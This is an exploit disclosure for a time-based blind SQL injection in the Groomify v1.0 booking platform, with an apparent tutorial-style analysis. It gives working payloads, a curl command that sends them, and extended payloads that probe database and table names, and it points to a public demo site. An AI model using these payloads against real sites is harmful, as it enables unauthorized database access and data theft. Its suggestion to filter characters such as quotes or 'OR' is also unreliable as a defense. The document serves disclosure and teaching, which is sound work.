Groomify v1.0 - SQL Injection

Exploit Author: Ahmet Ümit BAYRAM Analysis Author: www.bubbleslearn.ir Category: WebApps Language: SQL Published Date: 2023-06-19
# Exploit Title: Groomify v1.0 - SQL Injection
# Date: 2023-06-17
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor:
https://codecanyon.net/item/groomify-barbershop-salon-spa-booking-and-ecommerce-platform/45808114#
# Demo Site: https://script.bugfinder.net/groomify
# Tested on: Kali Linux
# CVE: N/A


### Vulnerable URL ###

https://localhost/groomify/blog-search?search=payload


### Parameter & Payloads ###

Parameter: search (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=deneme' AND (SELECT 1642 FROM (SELECT(SLEEP(5)))Xppf)
AND 'rszk'='rszk


Groomify v1.0 – SQL Injection Vulnerability Analysis: A Deep Dive into Time-Based Blind Exploitation

On June 17, 2023, cybersecurity researcher Ahmet Ümit Bayram disclosed a critical SQL injection vulnerability in Groomify v1.0, a popular barbershop, salon, and spa booking platform available on CodeCanyon. This vulnerability, present in the blog-search endpoint, allows attackers to perform time-based blind SQL injection attacks against MySQL databases, potentially leading to data exfiltration, unauthorized access, or even full system compromise.

Overview of the Vulnerable Component

The exploit targets the search parameter in the following URL:

https://localhost/groomify/blog-search?search=payload

This endpoint is designed to allow users to search blog content by keyword. However, due to improper input sanitization and lack of parameterized queries, the application directly incorporates user input into SQL statements without proper escaping or validation.

Exploitation Method: Time-Based Blind SQL Injection

Time-based blind SQL injection is a sophisticated technique used when the attacker cannot directly observe the result of a query (e.g., no error messages or visible output). Instead, the attacker infers the truth of a condition by measuring the time delay caused by a SLEEP() function in MySQL.

MySQL versions >= 5.0.12 support the SLEEP() function, which pauses execution for a specified number of seconds. By crafting a payload that triggers this function conditionally, an attacker can determine whether a given condition is true based on response time.

Exploit Payload Analysis

The payload used in this exploit is:

search=deneme' AND (SELECT 1642 FROM (SELECT(SLEEP(5)))Xppf) AND 'rszk'='rszk

Let’s break down this payload step by step:

  • deneme': This is a malicious input that attempts to close the existing SQL query string with a single quote, introducing a syntax error unless properly handled.
  • AND (SELECT 1642 FROM (SELECT(SLEEP(5)))Xppf): This is the core of the time-based attack. The SLEEP(5) function causes the database to pause for 5 seconds if the condition evaluates to true.
  • AND 'rszk'='rszk: This is a harmless condition that always evaluates to true, ensuring the overall query remains syntactically valid.

When the SLEEP(5) function is triggered, the server response will be delayed by approximately 5 seconds. If the delay is not observed, the attacker can infer that the condition was false.

Testing and Verification

As noted in the report, the vulnerability was tested on Kali Linux, a standard platform for penetration testing. The attacker would:

  1. Send a request with the payload to the blog-search endpoint.
  2. Measure the response time using tools like curl or burp suite.
  3. Observe a 5-second delay if the SQL condition is true.

For example:

curl -w "%{time_total}\n" "https://localhost/groomify/blog-search?search=deneme' AND (SELECT 1642 FROM (SELECT(SLEEP(5)))Xppf) AND 'rszk'='rszk"

If the response time is around 5 seconds, the attacker knows that the database is vulnerable and that the condition was evaluated as true.

Advanced Exploitation Techniques

Once the basic time-based detection is confirmed, attackers can escalate the exploit to extract data. For instance, they can use the following payload to test whether a specific database name exists:

search=deneme' AND (SELECT 1642 FROM (SELECT(SLEEP(5)) WHERE DATABASE() LIKE 'groomify%')Xppf) AND 'rszk'='rszk

Here, the LIKE condition checks if the current database name starts with "groomify". If the server delays by 5 seconds, the attacker confirms the database name.

Further, attackers can extract table names or column data by using INFORMATION_SCHEMA queries:

search=deneme' AND (SELECT 1642 FROM (SELECT(SLEEP(5)) WHERE (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = 'users') > 0)Xppf) AND 'rszk'='rszk

This query checks if the users table exists. If the delay occurs, the attacker knows the table is present and can proceed to extract user data.

Security Implications and Risks

Risk Level Description
High SQL injection allows attackers to bypass authentication, retrieve sensitive data, or modify database content.
Time-Based Blind Even without visible output, data can be exfiltrated slowly through timing.
Remote Exploitation Attacks can be performed from anywhere, given the public-facing URL.

Given that the demo site https://script.bugfinder.net/groomify is publicly accessible, this vulnerability poses a real-world threat to users of the Groomify platform.

Recommendations for Mitigation

To prevent such vulnerabilities, developers should:

  • Use parameterized queries (prepared statements) to ensure user input is never directly executed as SQL.
  • Implement input validation to reject special characters like ', ;, or OR in search fields.
  • Apply rate limiting to prevent abuse of time-based attacks.
  • Enable logging and monitoring to detect suspicious patterns in database queries.
  • Regularly update and patch software to address known vulnerabilities.

Conclusion

The Groomify v1.0 SQL injection vulnerability exemplifies a critical flaw in web application security: improper handling of user input. While the exploit is technically sophisticated, it underscores a fundamental principle—never trust user input. Even in seemingly benign features like a blog search, attackers can leverage time-based blind injection to extract sensitive data.

For organizations using Groomify or similar platforms, immediate remediation is essential. Developers must prioritize secure coding practices, and users should ensure that any third-party software they deploy is regularly audited and updated. Cybersecurity is not optional—it is a necessity.